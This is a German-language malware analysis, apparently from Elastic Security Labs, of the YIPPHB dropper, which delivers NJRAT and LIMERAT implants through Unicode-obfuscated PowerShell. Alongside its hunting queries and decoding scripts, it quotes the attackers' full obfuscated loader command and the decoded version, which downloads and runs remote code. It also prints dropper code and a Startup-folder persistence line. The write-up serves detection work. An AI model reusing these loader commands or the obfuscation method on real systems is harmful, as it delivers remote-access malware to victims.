Zeit mit dem YIPPHB-Dropper verbringen

Wichtigste Erkenntnisse

• Elastic Security Labs identifizierte 12 Cluster von Aktivitäten, die eine ähnliche TTP (Taktik, Technik und Prozedur) verwendeten, bei der Base64-kodierte Zeichenketten mit Unicode-Symbolen verknüpft wurden, um den YIPPHB-Dropper zu laden.
• YIPPHB ist eine einfache, aber effektive Tropfpipette, die mindestens seit Mai 2022 zur Verabreichung von RAT-Implantaten verwendet wird.
• Bei den ersten Zugriffsversuchen werden in PowerShell eingebettete Unicode-Symbole verwendet, um die automatisierte Analyse zu verzögern.

Präambel

Bei der Überprüfung von Telemetriedaten stellten die Elastic Security Labs ungewöhnliche Argumente während der Ausführung von PowerShell fest. Bei genauerer Betrachtung wurde die Verwendung von Unicode-Symbolen innerhalb von Base64-kodierten Zeichenketten festgestellt. Um die Symbole durch ASCII-Zeichen zu ersetzen, wurde ein Substitutionsmechanismus verwendet.

Nachdem die Icons durch ASCII-Zeichen ersetzt worden waren, wurde ein sich wiederholender Prozess des Sammelns von Base64-kodierten Dateien und umgekehrten URLs verwendet, um einen Dropper und ein voll funktionsfähiges Malware-Implantat auszuführen. Der Dropper und das Malware-Implantat wurden später als YIPPHB bzw. NJRAT identifiziert.

Diese Forschungsarbeit konzentrierte sich auf Folgendes:

• Laderphase
• Tropfphase
• RAT-Phase
• Aktivitätscluster
• Netzwerkinfrastruktur
• Suchabfragen

Analyse

Die Analyse dieses Intrusion-Sets beschreibt eine Verschleierungsmethode, die unserer Ansicht nach dazu dient, eine automatisierte Analyse von PowerShell-Befehlen zu umgehen, und die wir als rudimentär und präskriptiv charakterisieren.

Laderphase

Bei der Analyse von PowerShell-Befehlen in den Telemetriedaten von Elastic stellten wir fest, dass Unicode-Symbole in die PowerShell-Befehle eingebettet waren. Die Verwendung von Unicode zur Verschleierung von PowerShell-Befehlen ist uns nicht bekannt.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

Diese Technik ist zwar nicht übermäßig komplex, da sie einfach die Symbole durch ein ASCII-Zeichen ersetzt, aber sie ist kreativ. Diese Technik könnte die automatisierte Analyse von Base64-kodierten Zeichenketten verzögern, es sei denn, der PowerShell-Befehl wird vollständig ausgeführt oder es wird ein Analyse-Workflow zur Verarbeitung von Unicode und Ersetzungsfunktionen genutzt.

Anhand des PowerShell-Befehls konnten wir einen einfachen Prozess identifizieren, um die Unicode-Uhrsymbole (⌚⌚⌚) durch ein U zu ersetzen. Um zu veranschaulichen, was passiert, können wir das vom GCHQ entwickelte Datenanalysetool CyberChef verwenden.

Durch das Laden der Rezepte „Suchen/Ersetzen“, „Base64 dekodieren“ und „Text dekodieren (UTF-16LE)“ können wir die PowerShell-Zeichenfolge dekodieren.

Innerhalb der dekodierten Zeichenkette können wir sehen, wie der Loader, der nachfolgende Dropper und das Implantat installiert werden.

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

Der Loader wird von https://tinyurl[.]com/2erph6cs heruntergeladen. TinyURL ist ein beliebter URL-Kürzungsdienst, und obwohl er sehr legitime Anwendungsfälle hat, kann er auch missbraucht werden, um bösartige URLs zu verbergen, die sich in den normalen Netzwerkverkehr einfügen.

Um die TinyURL zu entpacken, können wir den JSON-API-Endpunkt von Unshorten.me verwenden:

$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    "requested_url": "tinyurl[.]com/2erph6cs",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
    "usage_count": 3,
    "remaining_calls": 8
}

Durch das Herunterladen der Datei dllsica.txt aus dem Discord Content Delivery Network erhielten wir eine weitere Base64-kodierte Zeichenkette. Im Gegensatz zur vorherigen PowerShell-Zeichenkette kann die Zeichenkette aus dllsica.txt ohne Ersetzungen problemlos dekodiert werden.

Mit Hilfe der Befehlszeilentools cat , base64 , xxd und head können wir sehen, dass die Datei einen Hexadezimalwert von 4d5a und eine magische Zahl MZ im Dateikopf hat. Dies bestätigt, dass wir eine PE-Datei analysieren.

• cat - verkettet eine Datei
• base64 -D - Der Schalter -D dekodiert eine Base64-kodierte Datei
• xxd - erstellt einen hexadezimalen Dump einer Eingabe
• head - gibt die ersten 10 Zeilen einer Datei zurück

$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...

Als nächstes haben wir die Binärdatei deobfuskiert, sie auf die Festplatte geschrieben und dann einen SHA-256-Hash generiert.

• Datei – Dateityp überprüfen
• shasum -a 256 - Der Schalter -a 256 verwendet den 256-Bit-Hashing-Algorithmus.

$ cat dllsica.txt | base64 -D > dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2

Nachdem der Loader gesammelt wurde, wird die Methode PUlGKA innerhalb der Klasse NwgoxM.KPJaN ausgeführt. Aus der ursprünglichen Base64-dekodierten Zeichenkette

…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:

Möglicherweise veröffentlichen wir zukünftige Forschungsergebnisse zu diesem Loader, der den Zugriff aufrechterhält, indem er sich als nativ unterstütztes VBscript in den Autostart-Ordner des Benutzers kopiert.

FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");

Tropfphase

Aus dem obigen Bild der Loader-Ausführung können wir erkennen, dass der Loader eine umgekehrte Variable verwendet (text = bdw6ufv4/moc[.]lruynit//:sptth) Eine zusätzliche Datei mithilfe einer TinyURL herunterladen. Mit dem Kommandozeilentool rev können wir die umgekehrte URL korrigieren.

$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev

https://tinyurl[.]com/4vfu6wd

Wir können die TinyURL mithilfe des Unshorten.me JSON API-Endpunkts entpacken, um den Download-Speicherort des Droppers zu ermitteln.

$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    "requested_url": "tinyurl[.]com/4vfu6wd",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
    "usage_count": 2,
    "remaining_calls": 9
}

Eine weitere kodierte Datei wird von Discord heruntergeladen: pesica.txt. Zum jetzigen Zeitpunkt meldet VirusTotal null Nachweise dieser Datei.

Anhand von Hinweisen aus dllsica.bin können wir sehen, dass pesica.txt die UTF-8-Kodierung verwendet. Um unsere Datei weiter zu analysieren, müssen wir die ▒▒▒▒- Werte durch ein A ersetzen und die resultierenden Zeichenketten Base64-dekodieren.

…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
	Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
	{
	text4 + "\\InstallUtil.exe",
	Convert.FromBase64String(text3)
	});
…truncated…

Mit CyberChef können wir Rezepte kombinieren, um diese Funktionen auszuführen.

Sobald wir pesica.txt dekodiert haben, berechnen wir den Hash bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf. Die dekodierte Ausgabe von pesica.txt zeigt den Namen des YippHB- Moduls an.

...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...

Von diesem Modulnamen leitet sich der Dropper-Name von YIPPHB ab. YIPPHB wurde ursprünglich vom Sicherheitsforscher Paul Melson entdeckt. Paul enthüllte diesen Dropper im Oktober 2022 auf der Sicherheitskonferenz Augusta BSides.

Der YIPPHB-Dropper wird mithilfe des Befehlszeilenprogramms Installutil.exe ausgeführt, um die RAT-Phase zu starten.

Die nächste Phase bezeichnen wir als die RAT-Phase. Bei allen Binärdateien, die wir in dieser Phase sammeln konnten, handelte es sich um RAT-Implantate (NJRAT, LIMERAT und ASYNCRAT); die modulare Natur dieses Intrusion-Sets ermöglicht jedoch die Verwendung jedes beliebigen Implantattyps.

RAT-Phase

Nachdem der YIPPHB-Dropper ausgeführt wurde, lädt er den zweiten Teil des ursprünglichen Unicode-Icon-Skripts herunter, um das RAT-Implantat zu installieren.

…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

Der RAT wurde von https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt abgerufen, was umgekehrt von txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth.

Beim Betrachten der Datei 10oct8000.txt können wir sehen, dass es sich um eine umgekehrte, Base64-kodierte Datei handelt.

=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…

Wir können diese Datei korrigieren und sie mit den Kommandozeilentools rev und base64 Base64 -dekodieren und die Ausgabe als 10oct8000.bin speichern.

$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin

10oct8000.bin hat einen SHA256-Hash von 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3. Diese Datei wird auf VirusTotal als Variante der Malware-Familien LIMERAT oder NJRAT gemeldet (abhängig von der Quelle).

Ähnlich wie beim Loader und YIPPHB-Dropper werden wir uns einige grundlegende Funktionen des RAT ansehen, ihn aber nicht vollständig umkehren. Die Untersuchung dieser Fähigkeiten führte uns zu früheren Untersuchungen, die diese Stichprobe mit NJRAT oder LIMERAT in Verbindung bringen (1, 2).

Der RAT beginnt seine Ausführungsroutine, indem er eine Verbindung zum Kommando- und Kontrollserver wiederherstellt. In einem separaten Thread startet es außerdem eine Keylogger-Routine, um so viele Informationen wie möglich zu sammeln.

Für die Verbindung zum Kommando- und Kontrollserver verwendet die Funkzugangstechnologie (RAT) die als globale Variablen aufgeführten Konfigurationsinformationen. Die Variable victimName ( TllBTiBDQVQ= ) ist eine Base64-kodierte Zeichenkette, die zu „NYAN CAT“ dekodiert wird. Aufgrund der Ähnlichkeit des Codes mit einer bekannten NJRAT-Codebasis bestärkt diese C2-Konfigurationsinformation unsere Überzeugung, dass es sich hierbei um einen Zusammenhang mit NJRAT handelt.

Wenn die RAT mit einem Command-and-Control-Server verbunden ist, der auf Befehle wartet, sendet sie die folgenden zusätzlichen Informationen:

• Opfername ( vn )
• Hardware-ID
• Nutzername
• OSFullName
• OSVersion Servicepack
• ob der Ordner „Programme“ auf „x86“ endet oder nicht
• wenn eine Webcam vorhanden ist
• der Fenstername
• eine Berechtigungsprüfung in der Registrierung

Wenn die Verbindung zu einem C2-Server erfolgreich hergestellt wurde, kann der Bediener über eine Reihe von Befehlen mit dem Implantat interagieren. Die Sicherheitsforscher Hido Cohen und CyberMasterV liefern hier und hiereine ausführliche Erklärung dieser Befehle und der Gesamtfunktionalität des RAT.

Aktivitätscluster

Wir konnten zusätzliche Suchvorgänge in unseren Telemetriedaten durchführen und dabei mehrere Aktivitätscluster identifizieren. Nachfolgend finden Sie eine EQL-Abfrage:

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

Mithilfe dieser Abfrage konnten wir PowerShell-Aktivitäten identifizieren, die sowohl Unicode-Zeichen als auch die Replace -Funktion verwenden.

Anhand dieser Ergebnisse konnten wir die Aktivitäten nach dem Variablennamen in Kombination mit dem Unicode-Symbol gruppieren. In dem Beispiel, das dieser ersten Untersuchung zugrunde liegt, wäre ein Cluster die Variable iUqm und die ⌚⌚⌚Unicode-Symbole.

Bemerkenswert ist, dass Cluster 11 dieselben Techniken wie die anderen Cluster verwendet, jedoch anstelle eines Unicode-Symbols zur Ersetzung eine Reihe von ASCII-Zeichen ( _*/}+/_= ) verwendet. Der Angriff erfolgte auf die gleiche Weise, und es ist uns unklar, warum dieser Cluster von der Verwendung eines Unicode-Symbols abgewichen ist.

Sammeln und Analysieren von Netzwerkdaten

Um die Analyse dieses Angriffssets zu skalieren, wollten wir die Extraktion der Loader- und Dropper-kodierten URLs aus process.command_line automatisieren. Felder und das nachfolgende C2, das von den RAT-Implantaten verwendet wird.

Lader und Absetzer

Wie bereits in den Phasen Loader und Dropper erwähnt, müssen in der Base64-codierten Zeichenkette die Unicode-Symbole ersetzt und die Zeichenkette umgekehrt und decodiert werden. Nach diesem Vorgang ist die erste URL sofort verfügbar, während die zweite URL noch einmal umgekehrt werden muss.

Um die Ausführung des PowerShell-Befehls selbst zu vermeiden, können wir das Textverarbeitungstool awk verwenden. Im Folgenden wird detailliert beschrieben, wie die Analyse durchzuführen ist. Ein Shell-Skript mit allen Schritten wird als Referenz bereitgestellt.

Als Erstes benötigen wir Zugriff auf unsere Daten über die Kommandozeile, wo wir sie an awk weiterleiten können. Wir haben ein Tool namens eql-query (und ein weiteres namens lucene-query ) veröffentlicht, um genau das zu tun.

Mithilfe von eql-query können wir eine EQL-Abfrage ausführen, um die Ergebnisse der letzten 180 Tage abzurufen, wobei nur die process.command_line zurückgegeben wird. Feld. Der Vorteil, dies über die Kommandozeile zu tun, besteht darin, dass wir die Daten weiter analysieren und zusätzliche interessante Zeichenketten extrahieren können.

eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'

Als Nächstes verwenden Sie jq, um die Rohzeichenkette an awk zu übergeben, indem Sie jq '._source.process.command_line' -r | awk.

Wenn Sie dies iterativ durchführen, ist es am besten, die Ergebnisse von eql-query in eine Datei zu schreiben und dann die Ergebnisse lokal zu bearbeiten, bis Ihre Pipeline Ihren Vorstellungen entspricht.

Der nächste Schritt besteht darin, die in den PowerShell- Ersetzungsbefehlen verwendeten Zeichenketten zu erfassen, damit wir diese Funktion selbst ausführen können. Die beste Methode hierfür mit awk ist, sie mit einem regulären Ausdruck zu erfassen.

Dies entspricht dem ersten und zweiten Argument, die ersetzt werden sollen. Das erste Argument ist Unicode und möglicherweise nicht mit dem awk -Muster kompatibel, daher müssen wir es zuerst maskieren. Sobald wir den Austausch vorgenommen haben, geben wir den „bereinigten“ Code, die zu suchende Zeichenkette und den Ersetzungstext aus.

function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, "g")
}

Schließlich können wir den Base64-Code (mithilfe eines weiteren regulären Ausdrucks) herausfiltern und das verschleierte PowerShell-Skript aufdecken.

grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'

Dies automatisiert den manuellen Konvertierungsprozess, den wir oben in den Phasen Loader, Dropper und RAT beschrieben haben.

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

Das Parsen der URLs aus diesem Text sollte ein weiterer einfacher awk match sein, gefolgt vom Umkehren der zweiten URL. Allerdings ist die Standardkodierung von PowerShell UTF-16LE und awk unterstützt nur die Kodierung UTF-8 oder ASCII. Ein Tool namens iconv kann die notwendige Konvertierung durchführen.

echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'

Nach der Konvertierung ist der Rest ein unkompliziertes Parsen. Unsere Ausgabe enthält url1 , url2 und eine Kopie der Unicode-Zeichenketten und ihrer Ersetzungen. Die URLs sind die Vorwärts- und Rückwärts-URLs für jedes Codebeispiel.

Weitere Details oder die Möglichkeit, es mit Ihren eigenen Daten auszuprobieren, finden Sie im Shell-Skript, das alles kombiniert.

Nachdem wir nun die Erfassung und das Parsen der URLs für Loader und Dropper automatisiert haben, können wir uns der RAT-Infrastruktur zuwenden.

RATTE

Wie aus dem ursprünglichen PowerShell-Skript hervorgeht, nutzt die RAT zusätzliche Netzwerkinfrastruktur. Um dies zu enumerieren, müssen wir den RAT ähnlich wie der Dropper herunterladen, für jede url1- und url2- Ausgabe aus dem vorherigen Schritt einen eindeutigen Satz von URLs nehmen, jede Liste durchlaufen und curl verwenden, um sie herunterzuladen.

Dieser Prozess erfordert die Interaktion mit Infrastruktur, die sich im Besitz oder unter der Kontrolle des Gegners befindet. Die Interaktion mit der Infrastruktur des Gegners erfordert eine disziplinierte Vorbereitung, zu der nicht alle Organisationen bereit sind. Falls Sie noch keine fundierten Kenntnisse über rechtliche Aspekte, defensive Netzwerkausstiegspunkte, Sandboxes, Strategien zum Informationsgewinn/-verlust usw. besitzen, werden die folgenden Informationen lediglich informativ präsentiert.

Da der Loader die heruntergeladenen Dateien nie auf der Festplatte speichert und nicht immer Dateinamen vorhanden sind, verwenden wir zum Verfolgen der Samples einen einfachen Zähler. Dadurch erhalten wir diese einfache Schleife:

ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
    ctr=$((ctr + 1))
done

Wir verwenden -v, um die Anfrage- und Antwortheader zu erfassen, -L , um Weiterleitungen zu folgen, und --connect-timeout , um den Prozess zu beschleunigen, wenn die Infrastruktur ausgefallen ist. Zum Schluss wird die Ausgabe von curl in einer Protokolldatei gespeichert, während alle heruntergeladenen Dateien als Datei-X gespeichert werden, wobei X der Wert des Zählers ist.

Alle heruntergeladenen RAT-Dateien sind Base64-kodiert. Mit dem Befehl file können wir gültige Base64-kodierte Dateien identifizieren. Eine Base64-kodierte Datei wird als „ASCII-Text mit sehr langen Zeilen (Länge), ohne Zeilenumbrüche“ identifiziert, wobei Länge die Dateigröße ist. Dateien, die dieser Sprache entsprechen, werden dekodiert und als .dll- Datei gespeichert. Verlängerung.

for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  <"${entry}" | base64 -d >"${entry}.dll"
done

Nachdem wir nun die RAT-Binärdateien haben, können wir einige typische statische Analysen daran durchführen. Wenn Sie über das VirusTotal-Befehlszeilentool verfügen und API-Abfragen durchführen können, ist die Suche nach bekannten Dateien eine weitere einfache Schleife über alle gespeicherten DLL- Dateien.

for entry in *.dll; do
	hash=$(sha256sum "${entry}" | awk '{print $1}')
	vt search "${hash}" >"${entry}.vt.yml"
done

Beim Blick auf die Ausgabe können wir sehen, dass jede yml- Datei (die Ausgabe des vt -Befehls) mit 0 Bytes bedeutet, dass keine Übereinstimmung gefunden wurde. Diese Dateien sind VirusTotal unbekannt. In dieser Ausgabe können wir sehen, dass die Dateien file-30.dll , file-31.dll und file-34.dll VirusTotal unbekannt sind.

$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml

Die letzte Analyse, die wir durchführen werden, besteht darin, zu versuchen, alle Domänennamen aus den DLLs zu extrahieren. Für viele ausführbare Dateiformate kann der Befehl strings diese Informationen liefern. Leider handelt es sich bei den meisten dieser DLLs um .NET-Assemblies, und der Befehl strings funktioniert nicht, um Zeichenketten aus .NET-Assemblies zu extrahieren. Der Befehl „file“ kann uns wiederum dabei helfen, diese zu identifizieren, wie in diesem Beispiel:

$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Der Vorteil von .NET besteht darin, dass es leicht disassembliert werden kann, und das Mono-Projekt stellt genau für diesen Zweck ein Tool bereit: ikdasm. Damit kommen wir zu unserer letzten Schleife, um nach Domainnamen oder Verweisen auf HTTP-URLs zu suchen.

for item in *.dll; do
    ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done

Weitere Details finden Sie in diesem Shell-Skript , das diese zweite Analysephase zusammenfasst.

Diamant-Modell

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.

Beobachtete Taktiken und Techniken des Angreifers

Elastic verwendet das MITRE ATT&CK-Framework, um gängige Taktiken, Techniken und Verfahren zu dokumentieren, die von Advanced Persistent Threats gegen Unternehmensnetzwerke eingesetzt werden.

Taktiken

Taktiken stellen das Warum einer Technik oder Untertechnik dar. Es ist das taktische Ziel des Gegners: der Grund für die Ausführung einer Aktion.

• Ressourcenentwicklung
• Ausführung
• Persistenz
• Tarnung
• Discovery
• Command and Control

Techniken / untergeordnete Techniken

Techniken und Untertechniken stellen dar, wie ein Angreifer ein taktisches Ziel erreicht, indem er eine Aktion ausführt.

• Infrastruktur erwerben
• Phasenfunktionen: Malware hochladen
• Autostart-Ausführung beim Systemstart oder der Anmeldung: Registrierungsschlüssel / Autostart-Ordner
• Befehls- und Skriptinterpreter: Visual Basic
• Befehls- und Skriptinterpreter: PowerShell
• System Binary Proxy Execution: InstallUtil
• Verschleierte Dateien oder Informationen

Erkennungslogik

Verhaltensregeln

• Verbindung zum WebService über einen signierten binären Proxy
• Suspicious PowerShell Execution
• Prozessausführung mit ungewöhnlicher Dateierweiterung
• Skriptdatei in den Startordner geschrieben
• Suspicious PowerShell Execution via Windows Scripts (Verdächtige PowerShell-Ausführung über Windows-Skripts)
• Verbindung zu einem dynamischen DNS-Anbieter durch eine unsignierte Binärdatei

Suchabfragen

Die Identifizierung von Unicode in PowerShell kann entweder mit einer KQL- oder einer EQL-Abfrage erfolgen.

Die Ereignisse für KQL und EQL werden mit dem Elastic Agent über die Elastic Defend-Integration bereitgestellt.

KQL query

Mithilfe der Discover-App in Kibana lässt sich mit der folgenden Abfrage die Verwendung von PowerShell mit Unicode-Zeichenketten ermitteln. Dabei wurden zwar alle Ereignisse dieser Studie erfasst, aber auch andere Ereignisse identifiziert, die nicht Teil des REF4526-Intrusion-Sets waren.

Die Verwendung von Platzhaltern ( * ) kann zu einer aufwändigen Suche über eine große Anzahl von Ereignissen führen.

process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)

EQL-Abfrage

Mithilfe des Abschnitts „Timeline“ der Sicherheitslösung in Kibana unter dem Reiter „Korrelation“ kann mit dieser Abfrage die Verwendung von PowerShell mit Unicode-Zeichenfolgen und der Replace -Funktion ermittelt werden. Dadurch wurden alle beobachteten REF4526-Ereignisse identifiziert.

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

Referenzen

In der obigen Studie wurde auf Folgendes Bezug genommen:

• https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
• https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
• https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
• https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
• https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
• https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs
• https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
• https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/

Observablen

Alle Observables stehen auch im ECS- und STIX-Format in einem kombinierten Zip-Bundle zum Download zur Verfügung.

Die folgenden Observablen wurden in dieser Studie diskutiert.